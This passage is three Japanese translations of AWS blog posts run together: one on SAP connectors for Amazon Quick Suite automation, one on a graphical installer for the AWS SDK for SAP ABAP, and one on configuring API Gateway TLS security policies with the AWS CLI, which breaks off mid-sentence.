日々、企業は根本的な課題に直面しています。SAPシステムには、サプライヤーとの関係、在庫レベル、財務取引、生産計画など、企業運営を推進するビジネスクリティカルなデータが含まれています。しかし、ワークフロー自動化のためにこのデータにアクセスするには、従来、複雑なカスタム統合、専門的なSAP知識、そして多大な開発時間が必要でした。SAPデータと非SAPデータの両方に依存するビジネスプロセスは、従来、これらのソースを統合するために膨大な開発者の労力を必要としていました。サプライチェーンマネージャーを含む事業部門チームはリアルタイムの混乱分析を必要とし、財務チームは請求書の自動例外処理を望み、調達スペシャリストは即座のサプライヤーリスク評価を必要としています。それでも、これらのビジネスニーズを自動化に変えることは複雑なままでした — しかしそれは過去の話です。 Amazon Quick SuiteのAWS Action Connectors for SAP 2025年10月、AWSは Amazon Quick Suite を発表しました。これは、従業員がインサイトの発見、詳細な調査の実施、タスクの自動化、データの可視化、アプリケーション全体でのアクション実行の方法を変革するのを支援する新しいエージェント型チームメイトです。Quick Suiteは、SAP、ServiceNow、PagerDuty、Asanaなどの人気のあるサードパーティアプリケーションと統合し、データを取り込み、ユーザーがQuick Suiteインターフェース内でタスクを作成し、チケットを開き、アクションを実行できるようにします。 このブログでは、Quick Suite内で利用可能なSAP用の組み込みコネクタと、お客様が Amazon Quick Automate を使用してこれらのコネクタを活用し、ビジネスオペレーションを合理化する強力な自動化を構築する方法について説明します。Quick Automateは、企業が大規模で回復力のある自動化を構築、展開、維持できるようにするQuick Suiteの機能です。AWS Action Connectors for SAPは、お客様がライブSAPデータに対してリアルタイムの読み取り操作を実行できるようにし、Quick AutomateがSAP S/4HANAなどのSAP ERPシステムとシームレスに対話できるようにします。さらに、これらのコネクタは、SAP API、認証、データ交換の技術的な複雑さを自動的に処理します。Quick Automateは、構造化されたワークフロー定義とプロセス定義ドキュメントを通じて、複雑なSAP統合をビジネスユーザーがアクセスできるようにすることで、エンタープライズ自動化を変革しています。カスタム開発を数か月待つ代わりに、お客様は数時間でAI駆動のSAP自動化を構築できるようになりました。 このリリースには、一般的なエンタープライズ自動化シナリオに対応するSAP S/4HANA用の5つのコネクタが含まれています。各コネクタは、特定のAPIエンドポイントをアクションとして提供し、正確なデータ取得(読み取り専用)とワークフロー自動化を可能にします: Business Partner: ベンダー分析とお客様の人口統計評価のための包括的なビジネスパートナー、サプライヤー、お客様データにアクセスします。 Product Master: 包括的な在庫管理のための重要な資材データ、プラント情報、供給計画の詳細を取得します。 Bill of Materials: 製品の依存関係と製造要件を理解するために、資材構造とコンポーネントの関係を照会します。 Physical Inventory Documents: 正確な照合プロセスと包括的な監査証跡の維持のために、在庫ドキュメントの転記と在庫移動にアクセスします。 Material Stock: 正確な可用性追跡と在庫最適化のために、場所別のリアルタイム在庫レベルと在庫ポジションを取得します。 詳細なAPI仕様については、各サービスエンドポイントに対応するSAP APIドキュメントを参照できます。自動化を構成する際は、リストされたアクション名を使用して、自動化シナリオが必要とする特定のデータセットにアクセスしてください。 GenpactがAmazon Quick Automateを使用してお客様に代わってサプライチェーンリスク評価を自動化した方法 Genpactは、深い業界知識、プロセスインテリジェンス、ラストマイルの専門知識で認められたエージェント型および先進技術ソリューション企業です。深い業界専門知識とビジネスプロセスの洞察力を持つ同社は、AWSと提携し、Quick Automate上にAI駆動のサプライチェーンレジリエンスソリューションを構築し、エンタープライズリスク管理を変革しました。このソリューションのインテリジェントで自動化されたサプライチェーン監視機能を備えることで、組織は複数のSAPモジュール全体で数分で混乱の影響を評価できます—これは、手動分析に通常必要な2〜3日から劇的な改善です。外部リスク監視システムがサプライチェーンの混乱を検出すると、自動化されたワークフローは、Business Partner Master、Product Master、Bill of Materials、Inventory Managementシステム全体でデータ収集を即座に調整し、ビジネスへの影響の優先順位を計算し、代替調達や関係者への通知などの適切な対応アクションをトリガーします。この画期的なソリューションは、リアルタイムのクロスシステム調整により24時間体制のサプライチェーン保護を提供し、GenpactをAI駆動のビジネスプロセス変革のリーダーとして位置付けています。 Quick AutomateとSAPコネクタを使用すると、自動化された応答プロセスの概要を示す構造化されたワークフローを直感的なユーザーインターフェースを通じて作成できます: 図1: Genpactによって実装されたサプライチェーン混乱対応プロセス この種の自動化されたデータ駆動型アプローチは、企業が回復力を維持し、問題が発生したときにより迅速に対応するのに役立ち、棚に商品を並べ、お客様を満足させ続けます。 SAPアクションは、フィルタリング基準や選択パラメータなどの追加パラメータを指定することでカスタマイズできます。構造化されたプロセスドキュメントを通じて定義されたこの複雑なワークフローは、数分で自動的に実行され、プロアクティブなサプライチェーンリスク管理を可能にします。 AWS Connectors for SAPの使用開始 Quick AutomateでAWS Action Connectors for SAPの使用を開始するには: Amazon Quick Suiteにアクセス: AWS Connectors for SAPは現在、Amazon Quick Suite Integrationsを介してすべてのお客様が利用できます。 接続のセットアップ: Quick Suiteコンソールを通じてSAPシステムへの安全な接続をセットアップし、コネクタで実行する必要なアクションを構成します。 アクションの検出: 接続のセットアップが成功すると、この統合の一部として有効化されたアクションのセットが表示されます。 自動化グループの作成: 次に、Quick Automate Projectsに移動し、Manage groupsをクリックして自動化グループをセットアップし、作成した統合を「Actions」としてオンボードします。 自動化の定義: 次に、自動化プロジェクトを作成し、ビジネスプロセスの概要を示すワークフロー仕様に作成した自動化グループを追加し、適切なSAPコネクタを活用します。 テストと改善: 展開前に生成された自動化をレビュー、テスト、変更します。 展開と監視: 自動化を実行し、Studio経由でパフォーマンスを監視します。 AWS Action Connectors for SAPは、エンタープライズセキュリティ要件を念頭に置いて構築されています: 安全な認証: 現在利用可能な基本認証のサポートと、まもなく利用可能になるOAuthのサポート。 データプライバシー: SAP内で管理されるデータガバナンスと承認(ユーザーとロール)。 これらのコネクタのセットアップに関する詳細なガイダンスについては、 AWSドキュメント を参照してください。今日からAmazon Quick Suiteの使用を開始するには、 スタートガイドページ にアクセスしてください。 SAP on AWSディスカッションに参加 AWSアカウントチームとサポートチャネルに加えて、最近 re:Post を立ち上げました—AWSコミュニティのための再構築されたQ&A体験です。AWS for SAP Solution Architectureチームは、お客様とパートナーを支援するために回答できるディスカッションや質問について、AWS for SAPトピックを定期的に監視しています。質問がサポート関連でない場合は、re:Postでのディスカッションに参加し、コミュニティナレッジベースに追加することを検討してください。SAPワークロードをAWSに移行する方法の詳細については、 SAP on AWS ページをご覧ください。 謝辞 Amazon Quick Suiteを活用したSAPサプライチェーン向けエージェントAIソリューションを構築するためのAWSとGenpactの戦略的コラボレーションは、お客様がインテリジェントな自動化を通じてサプライチェーンオペレーションを最適化するのに役立ちます。この変革的なパートナーシップを築く上で基本となった専門知識、ビジョン、協力的な精神を持つGenpactリーダーシップ、AWS GenAIスペシャリスト、および拡張AWSサービスチームに感謝の意を表します。 Shriram Bidkar – Associate Vice President, AWS Solutions James Avellone – Director, Sourcing and Procurement Advisory Perryn Stewart – Vice President, Supply Chain Management Reagan Rosario – WWSO Specialist SA- GenAI, AWS Naresh Rajaram – Partner Solution Architect, AWS 著者について Rengarajan Sridharanは、AWS EC2 Commercial Applicationsのシニアテクニカルプログラムマネージャーで、SAPおよびVMwareワークロードに焦点を当てたプログラムを推進しています。エンタープライズリソースプランニング(ERP)ソリューションで20年以上の経験を持つRengaは、お客様がビジネス価値とデジタルトランスフォーメーションの成果を最大化するためにエンタープライズシステムをモダナイゼーションするのを支援することを専門としています。 Apoorva Chandraは、AWSのEC2 SAP Engineeringチームのシニアプロダクトマネージャー – テクニカルで、AWS上でワークロードを実行するSAPエンタープライズのお客様向けのモダナイゼーションとエコシステムイニシアチブをリードしています。彼女の焦点は、お客様がSAPランドスケープを強化するために生成AIと分析サービスの可能性を最大限に引き出すのを支援することです。 Shriram Bidkarは、Genpactのアシスタントバイスプレジデントで、戦略的能力と運用効率を向上させるサプライチェーン変革のためのAWS駆動のエージェントAIソリューションを専門としています。25年以上の経験を持つ彼は、Genpactのお客様に測定可能なビジネス成果をもたらすクラウド移行、モダナイゼーション、AI自動化イニシアチブを推進しています。 James Avelloneは、Genpactの調達およびプロキュアメントアドバイザリープラクティスのディレクターで、クライアントと協力して戦略的能力と運用効率を向上させるサプライチェーン変革を開発および実行しています。業界で15年以上の経験を持つJamesは、ターゲットオペレーティングモデルの設計、データ分析、テクノロジー実装の経験を持つ調達およびソーシングスペシャリストです。 本ブログはAmazon Q Developer CLIによる機械翻訳を行い、パートナーSA松本がレビューしました。原文は こちら です。

AWS SDK for SAP ABAP（以下「ABAP SDK」）は、SAP ABAPベースのソフトウェアおよびシステムとAWSサービスとの統合を容易にするために、 2023年半ばに初めてリリース されました。 他のAWS SDK と同様に、ABAP SDKは一連のモジュールとして提供され、開発プロジェクトにインポートすることで、標準化され、安全でスケーラブルな方法でAWSサービスAPIにアクセスできます。ほとんどのAWS SDKは、通常インポート後すぐに使用できます。しかし、SAP ABAP ベースのシステムでは、 SAPの変更および移送システム（CTS） を使用した、より詳細な セットアップ と 設定 プロセスが必要です。さらに、ABAP SDKは現在、400を超える個別の移送ファイルにまで成長しています。 そのため、SAP ABAP開発者およびSAP BASIS管理者がより迅速に作業を開始できるようにするため、本ブログでは、ABAP SDK用のグラフィカルインストーラー（以下「 ABAP SDKインストーラー 」）を紹介します。これは、 GitHub でスタンドアロンのABAPレポートとして本日より利用可能であり、簡単なデプロイのために、SAP開発およびテストシステムの新しいABAPレポートに単純にコピー＆ペーストできます。このレポートは、パッケージマネージャーのようなUIを提供し、ABAP SDKモジュールのインストール、更新、削除を簡単なポイント＆クリック操作で実行できるとともに、SAPシステムに現在インストールされているSDKの部分と利用可能な更新の包括的な概要を提供します。さらに、必要なSSL証明書のインストールやABAP SDK移送ファイルのダウンロードなどの付随タスクの自動化にも役立ちます。 前提条件: SAP RISEへのデプロイの場合 このレポートは、以下の前提条件の下で、SAP RISEシステムにもデプロイおよび実行できます: Gitベースのインストール（つまり、コピー/ペースト以外）の場合、SAP RISEシステムは github.com に接続できる必要があります ABAP SDKをダウンロードするには、SAP RISEから aws.amazon.com への接続が必要です 接続に必要なAmazon SSL証明書は、 amazontrust.com からダウンロード可能である必要があります オプション : SAP RISEシステムからのインターネットアクセスがプロキシ経由で行われる場合、SAP RISEシステムのICMを適切に設定し、上記のサイトをそれぞれのプロキシで許可リストに追加する必要があります。本記事執筆時点では、これらはSAP RISE環境に付属するプロキシの標準許可リストには含まれていません。 はじめに 初回起動時、 ABAP SDKインストーラー は、実行されているSAPシステムが、AWSサービスAPIとの通信に必要なすべてのAmazon SSLルート証明書をSAPトラストストア（トランザクション STRUST ）に保存しているかどうかを確認します。そうでない場合、レポートは Amazon Trust Services から不足している証明書を自動的にダウンロードして管理できます。その後、ユーザーには、SAPシステムに現在インストールされているすべてのABAP SDKモジュールの概要（「 Installed ABAP SDK Modules 」）と、ツリー状のフォルダービューで利用可能なすべてのモジュールのリストが表示されます。「 Available ABAP SDK Modules 」フォルダーには、 最も人気のあるモジュール をリストするサブフォルダーもあります。 最初のフォルダーには、ABAP SDKの機能における重要な役割を強調するために、 ABAP SDKコア モジュールのみが含まれています。ABAP SDKがまだSAPシステムに存在しない場合、コアトランスポートは、初期デプロイ用に選択された他のモジュールとともにインストールする必要があります。ユーザーは、モジュール名の横にあるチェックボックスをクリックし、 <Execute all> または <Execute All (batch)> のいずれかを押すことでこれを行うことができます。その後、レポートは、インストールおよびアンインストール用の最新のABAP SDK .zipアーカイブがSAPシステムのファイルシステムに存在するかどうかを確認します。存在しない場合は、自動的にダウンロードされ、その後アクセスされて、SAPのCTSツールでインポートするために必要なトランスポートファイルが抽出されます。完全に新しいインストール、つまりコアとさらに選択されたモジュールは、少し時間がかかる場合があることに注意してください（バッチモードを推奨）。 ABAP SDKモジュールの管理 起動時および <Refresh> ボタンを押した後、 ABAP SDKインストーラー レポートは、ABAP SDKダウンロードリポジトリでABAP SDKの最新バージョンを確認し、利用可能な場合は、インストールされているすべてのモジュールを更新用にマークします。ABAP SDKインストールの整合性を保つため、現在、異なるモジュールバージョンの混在は許可されていません。インストールされているすべてのモジュールは、現在インストールされているABAP SDKコアモジュールと同じバージョンである必要があります。信号機インジケーターの右側の列には、 <Execute all> または <Execute All (batch)> のいずれかを押した後、レポートがモジュールに対して何を行うかの自然言語による説明が表示されます。後者のオプションは、レポートを実行しているSAP GUIウィンドウへのアクセスをブロックせず、それぞれのモジュールに「Processing…」ステータスを表示することで進行中の操作を示します。 追加のモジュールのインストールは、 「Available modules」フォルダー でそれぞれのチェックボックスを選択することで実行できます。リストで目的のモジュールを見つけるのに問題がある場合は、 虫眼鏡/拡大鏡アイコン でラベル付けされた検索機能ボタン（設定されたSAP GUI（テーマ）によって異なります）が役立ちます。モジュールの3文字の頭字語（TLA）名の左側にあるそれぞれのチェックボックスを選択します。レポートは、すべてのモジュールをABAP SDKの最新バージョンにインストールおよび更新するオプション（ <Execute …> オプション）、または更新なしで選択したモジュールのみをインストールするオプション（ <Install only …> オプション）を提供します。後者の場合、ABAP SDKインストーラーは、システムにまだ存在しない場合、それぞれのABAP SDK .zipファイルバージョンをダウンロードします。 すべての目的のモジュールのチェックボックスが選択されたら、再度 <Execute all> / <Execute All (batch)> を押してインストールおよび更新するか、 <Install only> / <Install only (batch)> を押して更新なしでインストールのみを行い、レポートが自動的にダウンロードしてSAPシステムにインポートするようにします。システムに存在するすべてのモジュールは、「 Installed ABAP SDK modules 」フォルダーの下に表示されます。ABAP SDKの新しいバージョンが利用可能な場合、GUIはそれに応じて表示します。 モジュールの削除も同じ方法で機能します: モジュールのTLAの横にあるチェックボックスの選択を解除すると、削除用に設定され、赤い信号機サインと、右端の2つの列にモジュールが削除されることを示すメッセージでさらに示されます。 <Execute all> または <Execute All (batch)> を押すと、選択解除されたすべてのモジュールの削除トランスポートのインポートが開始され、SDKの新しいバージョンが利用可能な場合は、残りのすべてのモジュールが同時に更新されます。 <Delete only> / <Delete only (batch)> オプションは、更新なしで削除実行をトリガーします。システムに多数のモジュールが存在し、それらすべてを削除したい場合は、「 Delete/De-Select all installed modules 」ボタンを使用して迅速に実行でき、この段落で前述したボタンの選択肢のいずれかを押します。この決定を取り消すには、「 Update/Select all installed modules 」をクリックします。ABAP SDKコアモジュールは、他のすべてのモジュールが削除用に選択されているか、他のモジュールがシステムに存在しない場合にのみ削除できます。 レポートは、個々のモジュールをより詳しく調べることも容易にします。「フォワードナビゲーション」のような方法で モジュール名 、 利用可能なバージョン 、または トランスポートID（TID） をダブルクリックすると、そのモジュールの対応するAPIドキュメントページがブラウザで開きます。 インストール済みバージョン / TID に対して同じことを行うと、インポート中に記録されたそのモジュールのオブジェクトリストに移動します。 TP RC 、 最後のメッセージ 、または トランスポートステータスアイコン をダブルクリックしてフォワードナビゲーションすると、そのモジュールの最新のインポート実行のトランスポートログの概要に移動します。 バックグラウンド処理と追加のダウンロードボタン 特に、多数のモジュールがインストールされていて更新または削除用に設定されている場合、または一度に5つ以上のモジュールをインストールしたい場合は、 <… (batch)> とラベル付けされたボタンを使用してインポートを開始し、バッチモードで実行することをお勧めします。これにより、SAPシステムでバッチジョブが起動され、チェックボックスの編集をブロックすることで、モジュール選択へのさらなる入力が防止されます。バックグラウンドでレポート実行を開始すると、インストールおよび削除の現在のモジュール選択がSAPセッションの共有メモリ領域に書き込まれ、操作が完了するまでそこに保持されます。これにより、レポートは入力をまだブロックする必要があるかどうかを判断できます。 トランザクションSM37に移動し、レポートのような名前のインポートジョブを探すことで、レポートの進行状況を確認できます。ジョブは、完了時にサマリースプール出力も生成します。 <Refresh> ボタンを押すと、インポートジョブがまだ実行中かどうかをさらに調査し、その場合は視覚的なステータス表示を提供します。また、「 Background job details 」ボタンをクリックすることで、いつでもバックグラウンドジョブ番号を表示できます。更新時に、現在実行中の操作の中間結果が断続的に表示される場合があります。たとえば、他のモジュールがすでに削除されている間、モジュールがまだインストール済みとして表示されるなどです。 さらに、Amazon SSLルート証明書を更新する必要がある場合は、「 Install SSL Certificates 」ボタンを押すことで実行できます。最新のABAP SDK .zipファイルをシステムにダウンロードして準備しておきたい場合は、「 Download current SDK 」ボタンを押すことでも実行できます。 現在の制限事項 レポートは現在、実行されているSAPシステムがHTTP(S)を許可するインターネット接続を必要とし、真のオフライン体験を提供していません。SAPシステムは、SSL証明書をダウンロードするために Amazon Trust Servicesウェブサイト 、および ABAP SDKダウンロードページ と ABAP SDK APIドキュメント へのHTTPおよびHTTPS接続を確立できる必要があります。また、現在、手動でダウンロードしたABAP SDK .zipファイルへのパスを指定するオプションもありません。お客様がこれに対する需要がある場合、レポートの将来の改訂で対処できます。さらに、レポートを介してすべてのモジュールをインストールすることは技術的には可能ですが（たとえば、トレーニングシステムなどのエッジケース用）、すべてのチェックボックスをクリックするのは面倒になる可能性があります。このユースケースのために、AWSは現在、利用可能なすべてのモジュールのダウンロードと一括インストールを支援する コマンドラインbashスクリプト を提供しています。ただし、一般的には、特定のユースケースに必要なモジュールのみをインストールすることをお勧めします。これに加えて、 ABAP SDKインストーラー は、現時点では AWS SDK for SAP ABAP – BTP Edition をサポートしていません。最後に、レポートはABAP SDKのインストールの開始や最新の状態を保つのに役立ちますが、現在、自身を更新する手段がないため、最新のリリースを取得するために GitHubリポジトリ を時々確認することをお勧めします。 まとめと次のステップ AWS SDK for SAP ABAP は、お客様が使い慣れたプラットフォームから標準的で実証済みの方法でSAPシステムを強化および拡張する可能性を提供するために構築されました。このブログ投稿で紹介したABAP SDKインストーラーは、お客様がSAP ABAP ベースの開発システムで実験および評価できるように、ABAP SDKのデプロイを加速および簡素化するのに役立ちます。ぜひお試しください！ GitHubリポジトリ からレポートを入手し、興味のあるモジュールを探索してダウンロードし、たとえば、お客様がSAPシステムと Amazon Q や Amazon Bedrock などのAWS AIサービスを組み合わせることでどのように利益を得られるか、または イベント駆動型アーキテクチャ を実現する方法についての、他の複数の AWS for SAPブログ から始めてください。AWS SDK for SAP ABAPには、最も一般的なAWSサービスでABAP SDKを処理する方法を理解するために使用できる多数の コード例 もあります。最後に、AWSでは、お客様のABAP SDKのアイデア、質問、成功事例についてお聞きしたいと考えていますので、お気軽にお問い合わせください！AWSは、 re:Postサイト で公開ディスカッション、質問と回答のフォーラムを提供しています。 AWS for SAP ソリューションアーキテクチャチームは、ディスカッションや質問のためにAWS for SAPトピックを定期的に監視しています。 本ブログはAmazon Q Developer CLIによる機械翻訳を行い、パートナーSA松本がレビューしました。原文は こちら です。

本記事は 2025年11月21日 に公開された「 Enhancing API security with Amazon API Gateway TLS security policies 」を翻訳したものです。 コンプライアンスフレームワークが進化し、暗号化標準が進歩するにつれて、組織はクラウドセキュリティ体制を改善するための追加の制御を求めています。必要な制御の1つは、より詳細な TLS 設定です。たとえば、規制要件で CBC のような古い暗号を無効にすることや、TLS 1.3 を最小バージョンとして強制することが義務付けられている場合などです。 この記事では、新しい Amazon API Gateway の強化された TLS セキュリティポリシーが PCI DSS 、 Open Banking 、 FIPS などの標準を満たすのにどのように役立つのかや、API が TLS ネゴシエーションを処理する方法を強化する仕組みについて学びます。この新機能は、運用の複雑さを増やすことなくセキュリティ体制を向上させ、API Gateway インフラストラクチャ全体で TLS 設定を標準化する単一の一貫した方法を提供します。 概要 以前、API Gateway は TLS 設定に対する制御が限定的で、カスタムドメイン名に対してのみ提供されていました。デフォルトエンドポイントは固定のセキュリティポリシーを使用していたため、組織のセキュリティやコンプライアンス要件を満たすために、カスタム Amazon CloudFront ディストリビューションなどの追加インフラストラクチャを導入する必要がありました。 今回のリリースにより、すべての REST API エンドポイントタイプ （リージョナル、エッジ最適化、プライベートを含む）で TLS 動作を直接設定し、API とそのカスタムドメイン名の両方に一貫した TLS 設定を適用できます。ワークロードが必要とする最小 TLS バージョンと暗号スイートを強制するために、事前定義された強化セキュリティポリシーから選択できます。たとえば、TLS 1.3 を強制したり、CBC 暗号なしで強化された TLS 1.2 を使用したり、政府ワークロード向けに FIPS に準拠したスイートを採用したり、 ポスト量子暗号 （PQC）を含むポリシーで将来に備えたりできます。新しいセキュリティポリシーは、運用の複雑さを増やすことなく、より細かい制御を提供し、進化するセキュリティとコンプライアンスの期待に API を適合させるのに役立ちます。 API Gateway セキュリティポリシーの理解 API Gateway のセキュリティポリシーは、最小 TLS バージョンと厳選された暗号スイートのセットの事前定義された組み合わせです。クライアントが REST API またはカスタムドメイン名に接続すると、API Gateway は選択されたポリシーを使用して、TLS ハンドシェイク中に受け入れるプロトコルバージョンと暗号を決定します。これにより、クライアントが API への暗号化接続を確立する方法を予測可能かつ強制可能な方法で制御できます。 API Gateway は 2 つのカテゴリのセキュリティポリシーをサポートしています。 TLS_1_0 や TLS_1_2 などのレガシーポリシーは、下位互換性のために引き続き利用可能です。 SecurityPolicy_* プレフィックスで識別される強化ポリシーは、規制されたワークロード、高度なガバナンス、または暗号化の強化に対して、より厳格で最新の制御を提供します。強化ポリシーを使用する場合は、エンドポイントアクセスモードも指定する必要があります。これにより、トラフィックが API に到達する方法に対する追加の検証が追加されます。詳細は以下のセクションで説明します。 強化ポリシーは、各ポリシーが何を強制するかを素早く理解するのに役立つ一貫した命名パターンに従っています。たとえば、REGIONAL および PRIVATE エンドポイントタイプの場合、次のパターンが適用されます： SecurityPolicy_[TLS-Versions]_[Variant]_[YYYY-MM] この構造から、サポートされる最小 TLS バージョン、特殊な暗号化バリアント（FIPS、PFS、PQ など）、およびポリシーのリリース日を識別できます。たとえば、 SecurityPolicy_TLS13_1_3_2025_09 は TLS 1.3 トラフィックのみを受け入れ、 SecurityPolicy_TLS13_1_2_PFS_PQ_2025_09 は TLS 1.2 を最低、TLS 1.3 を最高 TLS バージョンとして、前方秘匿性とポスト量子拡張をサポートします。 各ポリシーは、厳選された暗号の組み合わせにマッピングされます。たとえば、 SecurityPolicy_TLS13_1_3_2025_09 は、3 つの TLS 1.3 暗号スイート（ TLS_AES_128_GCM_SHA256、TLS_AES_256_GCM_SHA384 、および TLS_CHACHA20_POLY1305_SHA256 ）のみを受け入れ、他のプロトコルバージョンや暗号を拒否します。サポートされているポリシーと暗号の完全なリスト、および EDGE エンドポイントタイプの命名パターンについては、 API Gateway ドキュメント をご参照ください。 セキュリティポリシーをデフォルトエンドポイントとカスタムドメインに適用する方法 API Gateway を使用して、デフォルト API エンドポイントとカスタムドメイン名に異なるセキュリティポリシーを適用できます。TLS ネゴシエーション中、API Gateway は、HTTP Host ヘッダーではなく、クライアントの TLS ハンドシェイクの Server Name Indication（SNI）値に基づいてポリシーを選択します。つまり、ポリシーは、クライアントが TLS を開始するときに使用するホスト名に依存します。 たとえば、クライアントがデフォルトエンドポイントに直接接続する場合： https://abcdef1234.execute-api.us-east-1.amazonaws.com SNI 値がそのホスト名と一致するため、API Gateway はそのデフォルトエンドポイントに適用されたポリシーを使用します。 クライアントが代わりにカスタムドメイン名を介して接続する場合： https://api.example.com API Gateway はそのカスタムドメインに適用されたポリシーを使用します。この場合、SNI 値 api.example.com がどのポリシーが強制されるかを決定します。 この区別は、デフォルトエンドポイントを無効にした場合でも重要です。TLS ネゴシエーションは常に API Gateway がエンドポイント設定を評価する前に発生するため、デフォルトエンドポイントセキュリティポリシーは、そのホスト名に直接接続するクライアントに引き続き適用されます。予期しないクライアント動作を避けるために、可能な限り API とそのカスタムドメイン名を同じセキュリティポリシーで整合させる必要があります。 エンドポイントアクセスモードの理解 強化セキュリティポリシー（ SecurityPolicy_* ）を使用する場合、エンドポイントアクセスモードも指定する必要があります。エンドポイントアクセスモードは、リクエストが API に到達する前に、API Gateway がネットワークパスをどの程度厳密に検証するかを定義します。これにより、追加のガバナンス層が提供され、不正または誤ってルーティングされたトラフィックを防ぐのに役立ちます。 2 つのモードから選択できます： BASIC モードは、標準的な API Gateway の動作を提供します。既存の API を強化セキュリティポリシーに移行する際の推奨される開始点です。クライアントは、追加の検証なしで、現在と同じように API に到達し続けることができます。 STRICT モードは、リクエストが正しいエンドポイントタイプから発信され、TLS ネゴシエーションが設定と整合していることを確認するための強制チェックを追加します。 STRICT モードを有効にすると、API Gateway は次のような追加の検証を実行します： SNI と HTTP Host ヘッダー値が一致する リクエストが API と同じエンドポイントタイプ（リージョナル、エッジ最適化、またはプライベート）から発信される これらの検証のいずれかが失敗すると、API Gateway はリクエストを拒否します。 STRICT は、規制されたワークロードや機密性の高いワークロードを実行する場合など、より強力なセキュリティ保証が必要な場合に適した選択肢です。詳細については、 API Gateway ドキュメント をご参照ください。 BASIC から STRICT モードに切り替えると、変更が完全に伝播するまでに最大 15 分かかります。この期間中、API は引き続き利用可能です。エンドポイントアクセスモードが STRICT に設定されている場合、モードを BASIC に戻すまでエンドポイントタイプを変更できません。 新規および既存の API へのセキュリティポリシーの適用 新しい REST API またはカスタムドメイン名を作成するときにセキュリティポリシーを適用することも、既存のリソースを更新して強化された SecurityPolicy_* オプションのいずれかを使用することもできます。既存の API を移行する場合、推奨されるアプローチは、BASIC モードから開始し、クライアントの動作（SNI と HTTP Host ヘッダー値が一致し、リクエストが API と同じエンドポイントタイプから発信される）を検証してから、互換性を確認した後に STRICT モードに移行することです。 以下のコードスニペットは、さまざまなシナリオにセキュリティポリシーを適用する方法を示しています： セキュリティポリシーと STRICT エンドポイントアクセスモードで REST API を作成する API 作成時にセキュリティポリシーを直接適用でき、TLS ネゴシエーションを制御するためだけに追加のインフラストラクチャを必要としません。 aws apigateway create-rest-api \ --name "your-private-api-name" \ --endpoint-configuration '{"types":["PRIVATE"]}' \ --security-policy "SecurityPolicy_TLS13_1_3_2025_09" \ --endpoint-access-mode STRICT \ --policy file://api-policy.json セキュリティポリシーと STRICT エンドポイントアクセスモードでカスタムドメイン名を作成する カスタムドメイン名を作成するときにもセキュリティポリシーを指定できます。API Gateway は、クライアントが提供する SNI 値に基づいて、TLS ネゴシエーション中に選択されたポリシーを適用します。 aws apigateway create-domain-name \ --domain-name api.example.com \ --regional-certificate-arn arn:aws:acm:region:account-id:certificate/certificate-id \ --endpoint-configuration '{"types":["REGIONAL"]}' \ --security-policy SecurityPolicy_TLS13_1_3_2025_09 \ --endpoint-access-mode STRICT 既存の REST API の更新 既存の API を移行する場合は、まず BASIC モードで強化セキュリティポリシーを適用します。クライアントが BASIC モードで期待どおりに接続できることを確認した後、STRICT モードを有効にします。 1. BASIC モードで新しいポリシーを適用する aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/securityPolicy", "value": "SecurityPolicy_TLS13_1_3_2025_09" }, { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' アクセスログ と Amazon CloudWatch の パフォーマンスメトリクス を使用して、クライアントが期待どおりに API を利用できることを確認します。 2. 検証後に STRICT モードを有効にする aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "STRICT" } ]' 既存のカスタムドメイン名の更新 カスタムドメイン名は、REST API と同じ移行アプローチに従います。 1. BASIC モードで新しいポリシーを適用し、クライアントが正常に接続できることを検証します。 aws apigateway update-domain-name --domain-name api.example.com --patch-operations '[ { "op": "replace", "path": "/securityPolicy", "value": "SecurityPolicy_TLS13_1_3_2025_09" }, { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' 2. 検証後に STRICT モードを有効にする aws apigateway update-domain-name --domain-name api.example.com --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "STRICT" } ]' REST API またはカスタムドメイン設定を更新した後、ステージが新しい設定を受け取るように API を再デプロイします。セキュリティポリシーを変更すると、更新が完了するまでに最大 15 分かかります。変更が伝播している間、API ステータスは UPDATING と表示され、完了すると AVAILABLE に戻ります。このプロセス全体を通じて、API は完全に機能し続けます。 エンドポイントアクセスモードのロールバック STRICT モードを適用した後にクライアントが API への接続に失敗する場合は、いつでもエンドポイントアクセスモードを BASIC に戻すことができます。以下のコードスニペットは、REST API に対してこれを行う方法を示しています。 aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' 同じアプローチを使用してカスタムドメイン名を更新できます。 TLS 使用状況とポリシー移行の監視 強化セキュリティポリシーを採用する際、クライアントが API との暗号化接続をどのようにネゴシエートするかを理解することが重要です。監視は、クライアントの準備状況を確認し、更新が必要なレガシーコンシューマーを特定し、ロールアウト中に STRICT エンドポイントアクセスモードが期待どおりに動作することを検証するのに役立ちます。プロトコルと暗号の使用状況を経時的に監視するには、次の API Gateway アクセスログ変数 を使用します。 $context.tlsVersion – ネゴシエートされた TLS バージョン $context.cipherSuite – ハンドシェイク中に選択された暗号スイート これらの変数を使用して、次のことを確認できます： クライアントが期待される最小 TLS バージョンを使用している 強化ポリシーに移行した後、CBC ベースの暗号が使用されなくなった PQC および FIPS に準拠したポリシーが適切なクライアントによって使用されている アクセスログは、移行中に特に有用です。実際のクライアント動作を検証することは、STRICT モードを有効にする前の前提条件です。たとえば、BASIC モードで強化ポリシーを適用した後も、TLS 1.0 または TLS 1.2 CBC 暗号をネゴシエートしているライブクライアントが観察される場合、影響を受けるクライアントを特定し、STRICT モードに切り替える前に修復を計画できます。 将来を見据えたセキュリティ設定 新しいポリシーの一部は、TLS 1.3 とポスト量子暗号（PQC）を組み合わせて、量子対応の脅威アクターが存在する将来に備えるのに役立ちます。これらのポリシーを使用すると、API アーキテクチャを再設計することなく、量子耐性アルゴリズムのテストと採用を開始できます。 標準が進化し、新しい暗号スイートが導入されるにつれて、API Gateway のポリシーモデルは、設定をシンプルで予測可能に保ちながら、新しいバリアントを追加するための明確なパスを提供します。 まとめと次のステップ Amazon API Gateway の強化された TLS セキュリティポリシーとエンドポイントアクセスモードにより、クライアントが API への安全な接続を確立する方法を直接制御できます。PCI DSS、FIPS、Open Banking、PQC などのコンプライアンスニーズに合ったポリシーを選択し、STRICT モードを使用してトラフィックがエンドポイントに到達する方法を制御し、追加のドメインレベルの検証を適用して、API のセキュリティをさらに強化できます。 開始するには： API 